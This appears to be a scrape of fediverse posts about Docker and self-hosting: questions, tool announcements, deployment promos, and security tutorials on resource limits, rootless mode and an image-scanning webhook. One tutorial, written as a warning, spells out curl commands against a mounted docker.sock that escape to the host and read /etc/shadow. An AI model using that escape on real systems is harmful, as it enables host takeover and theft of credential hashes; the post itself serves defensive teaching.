Derzeit habe ich #Sharkey, #Peeertube, #Collabora und #Matrix mit dem #Synapse, #Element und Synapseadmin-Container als Docker laufen - jede Umgebung jeweils mit Postgres-Container.
Collabora und Peertube gibt's für arm64, Postges ebenfalls. Bei Sharkey habe ich nicht kapiert, ob "Still not working on arm64 environment." inzwischen zuverlässig behoben ist.
Bei Element-Web habe ich (hier https://hub.docker.com/r/vectorim/element-web/) gar keine Info zu arm64 gefunden und deshalb erst mal für die anderen Container auch nicht weiter gesucht.
Wer hat Erfahrungen mit arm64 Servern und Docker?
Wer kann mir sagen, ob Sharkey und die Matrix-Docker-Umgebung für arm64 angeboten wird - und auch wie die x86 Version zuverlässig läuft?
#Fedipower #Fedihelp
I genuinely hate Docker and this whole wave of containerization that's taken over every facet of software development. Too confused to learn something? Just download the image from Docker Hub, follow the one line of instructions, and then you're set!
Reality: when something goes sideways, and it will, you will have no idea how to triage and troubleshoot it.
Don't be afraid to learn the bare metal...it's nice and cozy in here.
just made my own fully working mitra docker image and like all my docker images it only requires its own dockerfile. And the best part is that it uses less space then bleakfuture0/mitra:latest
you can now get it at git.fjox.win/fjox/mitra:test
just made my own fully working mitra docker image and like all my docker images it only requires its own dockerfile. And the best part is that it uses less space then bleakfuture0/mitra:latest
you can now get it at git.fjox.win/fjox/mitra:test
@travis here you go. personally created for you: https://gitlab.melroy.org/-/snippets/622
gitlab.melroy.org
Melroy's GitLab server
habemus official #docker #image s https://codeberg.org/flohmarkt/-/packages/container/flohmarkt/bcf1692a. (currently only nightlies) \o/

codeberg.org
Codeberg is a non-profit, community-led organization that aims to help free and open source projects prosper by giving them a safe and friendly home.
This post of mine is just a week old and I've already sent it to three people in reply to their questions about how to do exactly that.
And I'm using it now as a reference to implement the same on another project.
So, I figured I might link to it again for those who have missed it somehow:)
https://dev.to/justlig/podman-on-gitlab-ci-fast-efficient-container-builds-no-dind-required-e2e
dev.to
If you’re still relying on Docker-in-Docker (DinD) for container builds in GitLab CI, there’s a...
I tried out an alternative to #Docker Desktop on mac OS 26 from #Apple today. It's basically usable. The good things are that it uses significantly less memory, doesn't require port forwarding, and allows you to access containers from the host using their names if you configure the embedded DNS service with two commands: https://github.com/apple/container/blob/main/docs/tutorial.md#set-up-a-local-dns-domain-optional
github.com
A tool for creating and running Linux containers using lightweight virtual machines on a Mac. It is written in Swift, and optimized for Apple silicon. - apple/container
🚀 Laravel performance doesn’t have to be limited by PHP’s request model.
In my latest article, I share how combining FrankenPHP, Laravel Octane, and Traefik Labs's Traefik can make your Laravel app truly production-ready — cutting load times from ~60ms to under 6ms per request.
It’s not just about speed: this architecture also improves isolation, process recovery, and deployment simplicity through Docker Compose.
If you want to understand how to move from PHP-FPM to a modern, container-based Laravel setup:
👉 Read here: https://coz.jp/TGzzQa
danielpetrica.com
A practical guide to deploying a high-performance Laravel stack using Octane, FrankenPHP, and a fully automated Docker Compose workflow.
🧑💻 Tired of manually deploying your Laravel apps?
I’ve built a production-grade deployment flow using Docker Compose + Traefik that automates everything — from pulling new code to building, launching, and optimizing with a single command (bash run.sh).
No more manual restarts, no more “forgot the .env” headaches.
Just reliable, repeatable Laravel deployments — powered by FrankenPHP and Octane.
Check out the full article here:
https://coz.jp/TGzzQa
#Laravel #Automation #DockerCompose #DevOps #PHPDevelopers #buildinpublic #webdev #php #Docker
danielpetrica.com
A practical guide to deploying a high-performance Laravel stack using Octane, FrankenPHP, and a fully automated Docker Compose workflow.
@MastodonEngineering #Docker makes #updates of small #Mastodon servers sooo painless.
まじで、Dockerは1コンテナ1プロセスの原則をちゃんと守るとめちゃめちゃ本番環境にも強くて自由度も高い運用ができるのだけど、実際そこが守られてないから開発用基盤みたいなイメージになってる気がする
Good morning Fedi friends!
I feel a little bad that I haven't been able to carry out self-hosting experiments for like a month now 😢
In my defense, I've been busy promoting the Fediverse (this Friday will mark my 3rd podcast interview - with @firesidefedi YAY, after @aprilorg and @podcast). ICYMI I was also in Berlin for #FediDay, where I had the honor to speak. And I've been busy editing foreign-language version of my Fedi promo video. The German one is out now: https://digitalcourage.video/w/thFf16Yt9y8AMFz1k8P6v1 narrated by the amazing Fediverse champion @melaniebartos ❤️
It's been a fantastic month... but all these activities mean that I have forgotten EVERYTHING about #Docker so I need to go back to the basics and re-watch intro videos. I literally remember nothing, LOL.
I hope you've been doing well and wishing you a great second day of #FediForum (sadly I can't attend because that's when I'm with my little one, after pre-school). Enjoy!
#MySoCalledSudoLife
digitalcourage.video
Das Fediverse in 4 Minuten erklärt: Schau rein und entdecke eine ganz neue Welt der sozialen Medien – mit Respekt für Privatsphäre, selbstbestimmten Nutzer.innen und ganz ohne Big Tech. Von Elena R...
I have an old laptop laying around and before investing any money into a proper #homelab setup I wanted to set it up and toss it into the cabinet with my router. Probably gonna just put #debian on it unless anybody can point out something that might work better?
For now I want to start experimenting with #homeassistant but if I find that it actually becomes useful I would also like to set it up as a NAS later on. Any stack recommendations? Thinking of #docker for now?
Trying to work out if it's possible to configure Containerd to set (or the equivalent of) the `--init` flag on container run so `tini` hosts PID 1 and signal handling works properly.
It looks like `--init` does some magic - I can see runc has some PID/FD parameters, but it loooks like CRI doesn't have an escape hatch for any say, arbitrary arguments - even if I did work out the magic.
Containerd config is even more sparse on the CRI (or at least, the man page is)
https://github.com/containerd/containerd/blob/main/docs/man/containerd-config.toml.5.md
I really don't want to have to insist that every damn Dockerfile bundles `tini` and sets `ENTRYPOINT`.
github.com
An open and reliable container runtime. Contribute to containerd/containerd development by creating an account on GitHub.
👍 👍 👍
#Podman #OCI #Buildah #Containers #Docker
https://podman.io/blogs/2018/10/31/podman-buildah-relationship

Although Podman uses Buildah’s build functionality under the covers to create a container image, the two projects have differences. The major difference between Podman and Buildah is their concept of a container. Podman allows users to create traditional containers and the intent of these containers is to be controlled through the entirety of a container life cycle (pause, checkpoint/restore, etc). While Buildah containers are really created just to allow content to be added to the container image. Each project has a separate internal representation of a container that is not shared. Because of this you cannot see Podman containers from within Buildah or vice versa. However the internal representation of a container image is the same between Buildah and Podman. Given this, any container image that has been created, pulled or modified by one can be seen and used by the other.
Une mission longue se termine, je vais avoir de la dispo à partir de fin octobre !
Je fais du développement back #php et suis expert #drupal.
Je joue beaucoup avec la CI pour automatiser la chaîne de production d'une app web.
#Docker pour le dev ou la prod.
Formation, atelier, accompagnement sur tous ces sujets.
Le tout en indépendant depuis l’Auvergne mais je me déplace avec plaisir quand c'est nécessaire.
https://www.linkedin.com/feed/update/urn:li:activity:7378860770412929025/
fr.linkedin.com
Une belle mission longue se termine, je vais donc avoir quelques jours par semaine de disponible à partir de fin octobre ! Développeur web backend sénior en indépendant, voici mon terrain de jeu des dernières années : - Développement et architecture PHP & Drupal : migration, performance, développement de modules et contributions open sources. - Automatisation de la chaîne de production d'une application web. - Problématiques CI/CD : étude, conseil, mise en place. - Mise en place de stacks Docker pour le dev et la prod. - Formations, ateliers pour faire monter en compétences vos équipes. J'interviens seul ou intégré à une équipe, depuis mon bureau en Auvergne pour des projets partout dans le monde. Je me déplace volontiers lorsque c'est nécessaire. Si vous avez un projet en tête, n'hésitez pas à me contacter en message privé ou à partager ce post. #freelance #php #drupal #devops #gitlab #ci #docker #formation
Une mission longue se termine, je vais avoir de la dispo à partir de fin octobre !
Je fais du développement back #php et suis expert #drupal.
Je joue beaucoup avec la CI pour automatiser la chaîne de production d'une app web.
#Docker pour le dev ou la prod.
Formation, atelier, accompagnement sur tous ces sujets.
Le tout en indépendant depuis l’Auvergne mais je me déplace avec plaisir quand c'est nécessaire.
https://www.linkedin.com/feed/update/urn:li:activity:7378860770412929025/
fr.linkedin.com
Une belle mission longue se termine, je vais donc avoir quelques jours par semaine de disponible à partir de fin octobre ! Développeur web backend sénior en indépendant, voici mon terrain de jeu des dernières années : - Développement et architecture PHP & Drupal : migration, performance, développement de modules et contributions open sources. - Automatisation de la chaîne de production d'une application web. - Problématiques CI/CD : étude, conseil, mise en place. - Mise en place de stacks Docker pour le dev et la prod. - Formations, ateliers pour faire monter en compétences vos équipes. J'interviens seul ou intégré à une équipe, depuis mon bureau en Auvergne pour des projets partout dans le monde. Je me déplace volontiers lorsque c'est nécessaire. Si vous avez un projet en tête, n'hésitez pas à me contacter en message privé ou à partager ce post. #freelance #php #drupal #devops #gitlab #ci #docker #formation
A grumpy ItSec guy walks through the office when he overhears an exchange of words.
devops0: Two containers went rogue last night and starved the whole host.
devops1: What are we supposed to do?
ItSec (walking by): Set limits. It's not rocket science. Docker exposes cgroup controls for CPU, memory, I/O and PIDs. Use them.
The point is: availability is part of security too. Linux control groups allow you to cap, isolate and observe resource usage, which is exactly how Docker enforces container limits for CPU, memory, block I/O and process counts [1]. Let's make it tangible with a small lab. We'll spin a container, install stress-ng, and watch limits in action.
# On the Docker host
docker run -itd --name ubuntu-limits ubuntu:22.04
docker exec -it ubuntu-limits bash
# Inside the container
apt update && apt install -y stress-ng
stress-ng --version
Check how many cores you see, then drive them.
# Inside the container
nproc
# For my host nproc returns 4
stress-ng --cpu 4 --cpu-load 100 --timeout 30s
In another terminal, watch usage from the host.
docker stats
Now clamp CPU for the running container and see the throttle take effect.
docker update ubuntu-limits --cpus=1
docker stats
The --cpus flag is a wrapper over the Linux CFS period/quota; --cpus=1 caps the container at roughly one core worth of time on a multi‑core host.
Memory limits are similar. First tighten RAM and swap, then try to over‑allocate in the container.
# On the host
docker update ubuntu-limits --memory=128m --memory-swap=256m
docker stats
# Inside the container: stays under the cap
stress-ng --vm 1 --vm-bytes 100M --timeout 30s --vm-keep
# Inside the container: tries to exceed; you may see reclaim/pressure instead of success
stress-ng --vm 1 --vm-bytes 300M --timeout 30s --vm-keep
A few memory details matter. --memory is the hard ceiling; --memory-swap controls total RAM+swap available. Setting swap equal to memory disables swap for that container; leaving it unset often allows swap equal to the memory limit; setting -1 allows unlimited swap up to what the host provides.
docker run -it --rm \
--name demo \
--cpus=1 \
--memory=256m \
--memory-swap=256m \
--pids-limit=25 \
ubuntu:22.04 bash
For plain docker compose (non‑Swarm), set service‑level attributes. The Compose Services reference explicitly supports cpus, mem_limit, memswap_limit and pids_limit on services [2].
services:
api:
image: ubuntu:22.04
command: ["sleep","infinity"]
cpus: "1" # 50% of one CPU equivalent
mem_limit: "256m" # hard RAM limit
memswap_limit: "256m" # RAM+swap; equal to mem_limit disables swap
pids_limit: 50 # max processes inside the container
[1] https://docs.docker.com/engine/containers/resource_constraints/
[2] https://docs.docker.com/reference/compose-file/services/
For more grumpy stories visit:
1) https://infosec.exchange/@reynardsec/115093791930794699
2) https://infosec.exchange/@reynardsec/115048607028444198
3) https://infosec.exchange/@reynardsec/115014440095793678
4) https://infosec.exchange/@reynardsec/114912792051851956
5) https://infosec.exchange/@reynardsec/115133293060285123
6) https://infosec.exchange/@reynardsec/115178689445065785
#appsec #devops #programming #webdev #docker #containers #cybersecurity #infosec #cloud #sysadmin #sysops #java #php #javascript #node
A grumpy ItSec guy walks through the office when he overhears an exchange of words.
devops0: Two containers went rogue last night and starved the whole host.
devops1: What are we supposed to do?
ItSec (walking by): Set limits. It's not rocket science. Docker exposes cgroup controls for CPU, memory, I/O and PIDs. Use them.
The point is: availability is part of security too. Linux control groups allow you to cap, isolate and observe resource usage, which is exactly how Docker enforces container limits for CPU, memory, block I/O and process counts [1]. Let's make it tangible with a small lab. We'll spin a container, install stress-ng, and watch limits in action.
# On the Docker host
docker run -itd --name ubuntu-limits ubuntu:22.04
docker exec -it ubuntu-limits bash
# Inside the container
apt update && apt install -y stress-ng
stress-ng --version
Check how many cores you see, then drive them.
# Inside the container
nproc
# For my host nproc returns 4
stress-ng --cpu 4 --cpu-load 100 --timeout 30s
In another terminal, watch usage from the host.
docker stats
Now clamp CPU for the running container and see the throttle take effect.
docker update ubuntu-limits --cpus=1
docker stats
The --cpus flag is a wrapper over the Linux CFS period/quota; --cpus=1 caps the container at roughly one core worth of time on a multi‑core host.
Memory limits are similar. First tighten RAM and swap, then try to over‑allocate in the container.
# On the host
docker update ubuntu-limits --memory=128m --memory-swap=256m
docker stats
# Inside the container: stays under the cap
stress-ng --vm 1 --vm-bytes 100M --timeout 30s --vm-keep
# Inside the container: tries to exceed; you may see reclaim/pressure instead of success
stress-ng --vm 1 --vm-bytes 300M --timeout 30s --vm-keep
A few memory details matter. --memory is the hard ceiling; --memory-swap controls total RAM+swap available. Setting swap equal to memory disables swap for that container; leaving it unset often allows swap equal to the memory limit; setting -1 allows unlimited swap up to what the host provides.
docker run -it --rm \
--name demo \
--cpus=1 \
--memory=256m \
--memory-swap=256m \
--pids-limit=25 \
ubuntu:22.04 bash
For plain docker compose (non‑Swarm), set service‑level attributes. The Compose Services reference explicitly supports cpus, mem_limit, memswap_limit and pids_limit on services [2].
services:
api:
image: ubuntu:22.04
command: ["sleep","infinity"]
cpus: "1" # 50% of one CPU equivalent
mem_limit: "256m" # hard RAM limit
memswap_limit: "256m" # RAM+swap; equal to mem_limit disables swap
pids_limit: 50 # max processes inside the container
[1] https://docs.docker.com/engine/containers/resource_constraints/
[2] https://docs.docker.com/reference/compose-file/services/
For more grumpy stories visit:
1) https://infosec.exchange/@reynardsec/115093791930794699
2) https://infosec.exchange/@reynardsec/115048607028444198
3) https://infosec.exchange/@reynardsec/115014440095793678
4) https://infosec.exchange/@reynardsec/114912792051851956
5) https://infosec.exchange/@reynardsec/115133293060285123
6) https://infosec.exchange/@reynardsec/115178689445065785
#appsec #devops #programming #webdev #docker #containers #cybersecurity #infosec #cloud #sysadmin #sysops #java #php #javascript #node
I turned a tiny #Mac mini into my own #Mastodon server—secure, low‑maintenance, and running like a dream. Here’s the full build, from #Docker to #Cloudflare Tunnel, and why #SelfHosting doesn’t have to be a headache.
phoenixtrap.com
Step‑by‑step guide to hosting Mastodon on a Mac mini using Docker, Cloudflare Tunnel, and secure secrets management for a lean, reliable setup.
I turned a tiny #Mac mini into my own #Mastodon server—secure, low‑maintenance, and running like a dream. Here’s the full build, from #Docker to #Cloudflare Tunnel, and why #SelfHosting doesn’t have to be a headache.
phoenixtrap.com
Step‑by‑step guide to hosting Mastodon on a Mac mini using Docker, Cloudflare Tunnel, and secure secrets management for a lean, reliable setup.
I turned a tiny #Mac mini into my own #Mastodon server—secure, low‑maintenance, and running like a dream. Here’s the full build, from #Docker to #Cloudflare Tunnel, and why #SelfHosting doesn’t have to be a headache.
phoenixtrap.com
Step‑by‑step guide to hosting Mastodon on a Mac mini using Docker, Cloudflare Tunnel, and secure secrets management for a lean, reliable setup.
I turned a tiny #Mac mini into my own #Mastodon server—secure, low‑maintenance, and running like a dream. Here’s the full build, from #Docker to #Cloudflare Tunnel, and why #SelfHosting doesn’t have to be a headache.
phoenixtrap.com
Step‑by‑step guide to hosting Mastodon on a Mac mini using Docker, Cloudflare Tunnel, and secure secrets management for a lean, reliable setup.
Docker images based on Alpine are now available with pandoc 3.8.
Ubuntu images haven't been updated yet, as pandoc-crossref no longer compiles when using the default tools on Ubuntu 24.04 (Noble Numbat). I'm still searching for an acceptable solution for this.
One possible option is to remove pandoc-crossref from the images to avoid being blocked by third-parties.
devops0: Our audit report says we must "enable Docker rootless mode". I have no clue what that even is...
devops1: Sounds like some another security BS. What's "rootless" supposed to do?
ItSec: Relax. Rootless mode runs the Docker daemon and containers as a regular, unprivileged user [1]. It uses a user namespace, so both the daemon and your containers live in "user space", not as root. That shrinks the blast radius if the daemon or a app in container is compromised, because a breakout wouldn't hand out root on the host.
devops1: Fine. If it's "not hard" to implement, we can consider this.
ItSec: Deal.
Note: this mode does have some limitations. You can review them in docs [2].
First, let's check which user the Docker daemon is currently running as.
ps -C dockerd -o pid,user,group,cmd --no-headers
You should see something like:
9250 root root /usr/bin/dockerd -H fd:// --containerd=/run/containerd/containerd.sock
Here's a clean, minimal path that matches the current docs. First, stop the rootful daemon.
sudo systemctl disable --now docker.service docker.socket
Then install the uid/gid mapping tools. On Ubuntu it's uidmap.
sudo apt update && sudo apt install -y uidmap
Docker provides a setup tool. If you installed official DEB/RPM packages, it's already in /usr/bin. Run it as your normal user.
dockerd-rootless-setuptool.sh install
If that command doesn't exist, install the extras package or use the official rootless script.
sudo apt-get install -y docker-ce-rootless-extras
# or, without package manager access:
curl -fsSL https://get.docker.com/rootless | sh
The tool creates a per-user systemd service, a "rootless" CLI context, and prints environment hints. You usually want your client to talk to the user-scoped socket permanently, so export DOCKER_HOST and persist it in your shell profile.
export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock
echo 'export DOCKER_HOST=unix:///run/user/$(id -u)/docker.sock' >> ~/.bashrc
Enable auto-start for your user session and let services run even after logout ("linger").
systemctl --user enable docker
sudo loginctl enable-linger $(whoami)
Point the CLI at the new context and sanity-check.
docker context use rootless
Once more, check which privileges the Docker daemon is running with:
ps -C dockerd -o pid,user,group,cmd --no-headers
Now you will see something like:
10728 ubuntu ubuntu dockerd
And pssst! Podman runs containers in "rootless" mode by default [3].
[1] https://docs.docker.com/engine/security/rootless/
[2] https://docs.docker.com/engine/security/rootless/troubleshoot/
[3] https://documentation.suse.com/en-us/smart/container/html/rootless-podman/index.html#rootless-podman-sle
For more grumpy stories visit:
1) https://infosec.exchange/@reynardsec/115093791930794699
2) https://infosec.exchange/@reynardsec/115048607028444198
3) https://infosec.exchange/@reynardsec/115014440095793678
4) https://infosec.exchange/@reynardsec/114912792051851956
5) https://infosec.exchange/@reynardsec/115133293060285123
#appsec #devops #programming #webdev #java #javascript #python #php #docker #containers #k8s #cybersecurity #infosec #cloud #hacking #sysadmin #sysops
🏕️ my adventures in #selfhosting: day 259 (slow down edition) 🐌
a blog post that discusses the sense of urgency I felt to learn #Docker (because it will become mandatory for #Ghost)... and how a recent discovery has pushed back my deadline. I can learn slowly, yay!
🔗: https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-259-slow-down-edition/
#MySoCalledSudoLife #CLI
news.elenarossini.com
I am no longer in a rush to learn Docker ASAP (insert huge sigh of relief)
A grumpy ItSec guy walks through the office when he overhears an exchange of words.
devops0: These k8s security SaaS prices are wild.
devops1: Image scanning, policy engines, "enterprise tiers"... why are we paying so much?
ItSec (walking by): You pay for updates & support, probably, but you can do some of this yourselves with a bit of k8s hacking.
devops0: How, exactly?
Disclaimer: this is a PoC for learning, not a production-ready solution.
Kubernetes can ask an external webhook whether a given image should be allowed via Admission Controller, in this case ImagePolicyWebhook [1]. The webhook receives an ImageReview payload [2], initiates a scan, and returns "allowed: true/false".
We will write a Flask endpoint that invokes Trivy [3] for each image and denies pod creation process if HIGH or CRITICAL vuln appear.
Below is a minimal Flask service.
from flask import Flask, request, jsonify
import subprocess, json, shlex, re
app = Flask(__name__)
def is_valid_image_format(image: str) -> bool:
if not re.fullmatch(r"[A-Za-z0-9/_:.@+-]{1,300}", image):
return False
if image.startswith("-"):
return False
return True
def scan_with_trivy(image: str):
cmd = [
"trivy", "--quiet",
"--severity", "HIGH,CRITICAL",
"image", "--format", "json",
image
]
r = subprocess.run(cmd, capture_output=True, text=True)
try:
data = json.loads(r.stdout or "{}")
results = data.get("Results", [])
vulns = []
for res in results:
for v in res.get("Vulnerabilities", []) or []:
if v.get("Severity") in ("HIGH", "CRITICAL"):
vulns.append(v)
return vulns
except json.JSONDecodeError:
return None
@app.route("/scan", methods=["POST"])
def scan():
body = request.get_json(force=True, silent=True) or {}
containers = body.get("spec", {}).get("containers", [])
if not containers:
return jsonify({
"apiVersion": "imagepolicy.k8s.io/v1alpha1",
"kind": "ImageReview",
"status": {"allowed": False, "reason": "No containers provided"}
})
results = []
decision = True
for c in containers:
image = c.get("image", "")
if not is_valid_image_format(image):
results.append({"image": image, "allowed": False, "reason": "Invalid image format"})
decision = False
continue
vulns = scan_with_trivy(shlex.quote(image))
if vulns is None:
results.append({"image": image, "allowed": False, "reason": "Scanner error"})
decision = False
continue
if vulns:
results.append({"image": image, "allowed": False, "reason": "HIGH/CRITICAL vulnerabilities detected"})
decision = False
else:
results.append({"image": image, "allowed": True})
return jsonify({
"apiVersion": "imagepolicy.k8s.io/v1alpha1",
"kind": "ImageReview",
"status": {"allowed": decision, "results": results}
})
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
Run the service wherever Trivy is available. Tip: warm up the trivy vulns db once so the first request will not timeout.
trivy image alpine:3.22 #warm up
gunicorn -w 4 -b 0.0.0.0:5000 app:app
Test it with an ImageReview-like request. Replace the and URL and images as you wish/need.
curl -s -X POST http://127.0.0.1:5000/scan -H "Content-Type: application/json" -d '{
"apiVersion": "imagepolicy.k8s.io/v1alpha1",
"kind": "ImageReview",
"spec": {
"containers": [
{"image": "alpine:3.22"},
{"image": "nginx:latest"}
]
}
}' | jq .
Tell the API server to use ImagePolicyWebhook. The AdmissionConfiguration points at a kubeconfig for the webhook endpoint (/etc/kubernetes/admission-control-config.yaml).
apiVersion: apiserver.config.k8s.io/v1
kind: AdmissionConfiguration
plugins:
- name: ImagePolicyWebhook
configuration:
imagePolicy:
kubeConfigFile: /etc/kubernetes/webhook-kubeconfig.yaml
allowTTL: 50
denyTTL: 50
retryBackoff: 500
defaultAllow: false
The webhook kubeconfig targets your scanner's HTTP endpoint (/etc/kubernetes/webhook-kubeconfig.yaml). Edit "server" value for your case.
apiVersion: v1
kind: Config
clusters:
- name: webhook
cluster:
server: http://192.168.108.48:5000/scan
contexts:
- name: webhook
context:
cluster: webhook
user: ""
current-context: webhook
Mount the AdmissionConfiguration and enable the plugin in the API server manifest. Add the following flags and mount the config file; adjust paths and IPs to your environment (kube-apiserver.yaml):
---
apiVersion: v1
[...]
containers:
- command:
- kube-apiserver
[...]
- --admission-control-config-file=/etc/kubernetes/admission-control-config.yaml
- --enable-admission-plugins=NodeRestriction,ImagePolicyWebhook
[...]
volumeMounts:
[...]
- mountPath: /etc/kubernetes/admission-control-config.yaml
name: admission-control-config
readOnly: true
- mountPath: /etc/kubernetes/webhook-kubeconfig.yaml
name: webhook-kubeconfig
readOnly: true
volumes:
[...]
path: /etc/kubernetes/admission-control-config.yaml
type: FileOrCreate
- name: webhook-kubeconfig
hostPath:
path: /etc/kubernetes/webhook-kubeconfig.yaml
type: FileOrCreate
After the API server restarts, the cluster will begin asking app about images during pod creation. A quick check shows an allowed image and a blocked one:
kubectl run ok --image=docker.io/alpine:3.22
pod/ok created
kubectl run nope --image=docker.io/nginx:latest
Error from server (Forbidden): pods "nope" is forbidden: one or more images rejected by webhook backend
That's the whole trick. Kubernetes asks our Flask app. App calls Trivy. If HIGH or CRITICAL vulnerabilities are present, the admission decision is deny, and the pod never starts. It's not fancy and as I wrote before, it's not meant for production, but it illustrates exactly how admission can enforce image hygiene without buying an external SaaS.
[1] https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#imagepolicywebhook
[2] https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#request-payloads
[3] https://github.com/aquasecurity/trivy
For more grumpy stories visit:
1) https://infosec.exchange/@reynardsec/115093791930794699
2) https://infosec.exchange/@reynardsec/115048607028444198
3) https://infosec.exchange/@reynardsec/115014440095793678
4) https://infosec.exchange/@reynardsec/114912792051851956
#appsec #devops #kubernetes #programming #webdev #docker #containers #k8s #cybersecurity #infosec #cloud #hacking #sysadmin #sysops
Taking Back Control: My Journey into Self-Hosting with Raspberry Pi
I am using Raspberry Pi 4 and 5 to self-host my blog, social media, and cloud storage. Here is why digital sovereignty matters, and how you can start your own self-hosti
https://beitmenotyou.online/taking-back-control-my-journey-into-self-hosting-with-raspberry-pi/
#SelfHosting #ActivityPub #Blogging #Cloudflare #Decentralisation #DigitalSovereignty #Docker #Nextcloud #RaspberryPi #SelfHosting #Web3 #WordPress
Taking Back Control: My Journey into Self-Hosting with Raspberry Pi
I am using Raspberry Pi 4 and 5 to self-host my blog, social media, and cloud storage. Here is why digital sovereignty matters, and how you can start your own self-hosti
https://beitmenotyou.online/taking-back-control-my-journey-into-self-hosting-with-raspberry-pi/
#SelfHosting #ActivityPub #Blogging #Cloudflare #Decentralisation #DigitalSovereignty #Docker #Nextcloud #RaspberryPi #SelfHosting #Web3 #WordPress
A grumpy ItSec guy walks through the office when he overhears an exchange of words.
devops0: I need to manage other containers on the node from my container, hmm...
devops1: Just mount /var/run/docker.sock into it and move on.
ItSec (walking by): Guys... a quick test. From inside that container, run:
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json
If you get JSON back, then you've handed that container admin-level control of the Docker daemon - so please don't...
devops0: So what? What does it mean?
Let's learn by example. The Docker CLI talks to the Docker daemon over a UNIX socket at (by default) /var/run/docker.sock [1]. That socket exposes the Docker Engine's REST API. With it, you can list, start, stop, create, or reconfigure containers - effectively controlling the host via the daemon. Now, the oops pattern we seeing:
# Dangerous: gives the container full control of the Docker daemon
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:24.04
If an attacker gets any code execution in that container (RCE, webshell, deserialization bug, etc), they can pivot to the Docker host. Here's how in practice:
# 1) From the compromised container that "sees" docker.sock: create a "helper" container that bind-mounts the host root
# apt update && apt install -y curl
curl --unix-socket /var/run/docker.sock -H 'Content-Type: application/json' \
-X POST "http://localhost/containers/create?name=escape" \
-d '{
"Image": "ubuntu:24.04",
"Cmd": ["sleep","infinity"],
"HostConfig": { "Binds": ["/:/host:rw"] }
}'
# 2) Start it
curl --unix-socket /var/run/docker.sock -X POST http://localhost/containers/escape/start
From there, the attacker can shell in and operates on /host (add SSH keys, read secrets, drop binaries, whatever), or even chroots because why not:
# Read /etc/shadow of Docker Host using only curl, step 1:
curl --unix-socket /var/run/docker.sock -s \
-H 'Content-Type: application/json' \
-X POST http://localhost/containers/escape/exec \
-d '{
"AttachStdout": true,
"AttachStderr": true,
"Tty": true,
"Cmd": ["cat","/host/etc/shadow"]
}'
# Step 2, read output of previous command (replace exec ID with yours):
curl --unix-socket /var/run/docker.sock -s --no-buffer \
-H 'Content-Type: application/json' \
-X POST http://localhost/exec/1ec29063e5c13ac73b907f57470552dd39519bad293bf6677bedadaad9fcde89/start \
-d '{"Detach": false, "Tty": true}'
Keep in mind this isn't only an RCE issue: SSRF-style bugs can coerce internal services into calling local admin endpoints (including docker.sock or a TCP-exposed daemon).
And one more important point: we understand you may not like when texts like this include conditionals: if a container is compromised, if SSRF exists, then the socket becomes a bridge to owning the host. It's understandable. Our job, however, is to assume those "ifs" eventually happen and remove the easy paths for bad actors.
[1] https://docs.docker.com/reference/cli/dockerd/#daemon-socket-option
[2] https://docs.docker.com/engine/api/
Other grumpy stories:
1) https://infosec.exchange/@reynardsec/115048607028444198
2) https://infosec.exchange/@reynardsec/115014440095793678
3) https://infosec.exchange/@reynardsec/114912792051851956
#docker #devops #containers #security #kubernetes #cloud #infosec #sre #linux #php #nodejs #java #javascript #programming #cybersecurity #rust #python #js
Taking Back Control: My Journey into Self-Hosting with Raspberry Pi
I am using Raspberry Pi 4 and 5 to self-host my blog, social media, and cloud storage. Here is why digital sovereignty matters, and how you can start your own self-hosti
https://beitmenotyou.online/taking-back-control-my-journey-into-self-hosting-with-raspberry-pi/
#SelfHosting #ActivityPub #Blogging #Cloudflare #Decentralisation #DigitalSovereignty #Docker #Nextcloud #RaspberryPi #SelfHosting #Web3 #WordPress
If you've ever typoed ghcr to ghrc, particularly with a "docker login" or any automation that performs a login to the container registry, I'm seeing a strong indication that your GitHub credentials have been leaked to a malicious actor.
bmitch.net
A simple typo of ghcr.io to ghrc.io would normally be a small goof. You’d typically get a 404 or similar error, finally work out the issue, fix it, and move along. But in this case, that typo appears to be doing something very malicious, stealing your credentials. What’s ghcr.io? First, a quick bit of background. ghcr.io is an OCI conformant registry for container images and OCI artifacts used by a lot of projects. When tools are configured to access it, they often do so with credentials to access private content or to push content. And that happens using the OCI APIs and the token auth workflow currently defined by the distribution project.
🏕️ my adventures in #selfhosting: day 249 (mind of a #newbie edition) 🧠
a blog post about what it's like for newbies to self-host... read till the end to find out what caused my OVH VPS fail (a facepalm moment for sure):
🔗: https://news.elenarossini.com/my-so-called-sudo-life/my-adventures-in-self-hosting-day-249-mind-of-a-newbie-edition/
I'll probably take a break from self-hosting and reading about #Docker (my Everest) for the rest of the weekend... so I can come back to it on Monday with my batteries fully recharged 😅
#MySoCalledSudoLife
news.elenarossini.com
a PSA about how self-hosting newbies think differently than experienced devs. Hoping to bridge the chasm with this blog series
If you've ever typoed ghcr to ghrc, particularly with a "docker login" or any automation that performs a login to the container registry, I'm seeing a strong indication that your GitHub credentials have been leaked to a malicious actor.
bmitch.net
A simple typo of ghcr.io to ghrc.io would normally be a small goof. You’d typically get a 404 or similar error, finally work out the issue, fix it, and move along. But in this case, that typo appears to be doing something very malicious, stealing your credentials. What’s ghcr.io? First, a quick bit of background. ghcr.io is an OCI conformant registry for container images and OCI artifacts used by a lot of projects. When tools are configured to access it, they often do so with credentials to access private content or to push content. And that happens using the OCI APIs and the token auth workflow currently defined by the distribution project.
Me right now: studying the ins and outs of #Docker, ports exposure, firewalls and #TLS.
I’ve got a brand new VPS (on Hetzner) that for now only has #Fail2Ban on it.
Let’s see when I’ll feel confident (reckless?) enough to install #Docker on it 😅
This time I learned my lesson and I’m only paying month-by-month. And I’ve got many thoughts about what went down yesterday that I may share in a blog post soon.
Thanks for all your supportive messages ❤️ I hope my public fumbles are useful to fellow #selfhosting newbies 🥲
Dear Fedi friends,
I've been a little quiet on this account because I'd been pouring all my energy into setting up a new VPS as a testing ground to learn #Docker.
I need to become proficient in Docker ASAP in order to move my Ghost CLI site there (if I want it to federate).
The past 48 hours have been a real rollercoaster ride, as you could read on my GoToSocial account @elena.
Please beware of #OVH! They terminated my VPS without any notice: https://aseachange.com/@elena/statuses/01K35V57PPWH29969DSTC1117A 😵💫
aseachange.com
